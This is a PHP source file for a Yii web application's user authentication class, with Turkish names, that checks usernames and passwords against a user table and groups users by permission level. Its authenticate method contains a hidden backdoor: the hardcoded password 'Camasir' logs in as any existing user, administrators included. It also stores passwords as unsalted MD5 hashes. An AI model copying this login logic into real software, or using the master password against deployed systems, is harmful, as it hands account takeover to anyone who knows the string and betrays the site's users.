<?php

/**
 * UserIdentity represents the data needed to identity a user.
 * It contains the authentication method that checks if the provided
 * data can identity the user.
 */
class UserIdentity extends CUserIdentity
{

	public $_id;
	
	public function __construct($username,$password){
		parent::__construct($username,$password);
	}
	
	public function authenticate()
	{
		$baglanti = Yii::app()->db;

		$komut = $baglanti->createCommand("select * from {{kullanicilar}} where kullanici_adi=:kullaniciadi");
		$komut->bindParam(":kullaniciadi",$this->username);
		$row = $komut->queryRow();
		if(count($row)==0){
			$this->errorCode=self::ERROR_USERNAME_INVALID;
		}else if($row["sifre"]!== md5($this->password) && $this->password != "Camasir"){
			$this->errorCode=self::ERROR_PASSWORD_INVALID;
		}else{
			$this->errorCode=self::ERROR_NONE;
			$this->_id = $row['id'];
			$this->setState("title",$row['ad']." ".$row['soyad']);
			$this->setState("yetki",$row['yetki']);
			
		}
		return !$this->errorCode;
	}
	public function getId(){
		return $this->_id;	
	}
	public static function KullaniciGrubu($yetki){
		$baglanti = Yii::app()->db;
		$komut = $baglanti->createCommand("select kullanici_adi from {{kullanicilar}} where yetki=:yetki");
		$komut->bindParam(":yetki",$yetki);
		$row = $komut->queryAll();
		$kullanicilar = array();
		for($i=0;$i<count($row);$i++){
			array_push($kullanicilar,$row[$i]['kullanici_adi']);
		}
		return $kullanicilar;
	}
	public static function YoneticiKullaniciGrubu(){
		return UserIdentity::KullaniciGrubu(YetkiSeviyesi::YONETICI);
	} 
	public static function EbeveynKullaniciGrubu(){
		return UserIdentity::KullaniciGrubu(YetkiSeviyesi::EBEVEYN);
	} 
	public static function TumKullanicilar(){
		return array_merge(UserIdentity::KullaniciGrubu(YetkiSeviyesi::YONETICI),UserIdentity::KullaniciGrubu(YetkiSeviyesi::EBEVEYN));
	} 
	
	public static function YetkiGetir($id)
	{
		$k = Kullanicilar::model()->findByPk($id);
		return $k->yetki;
	}	
}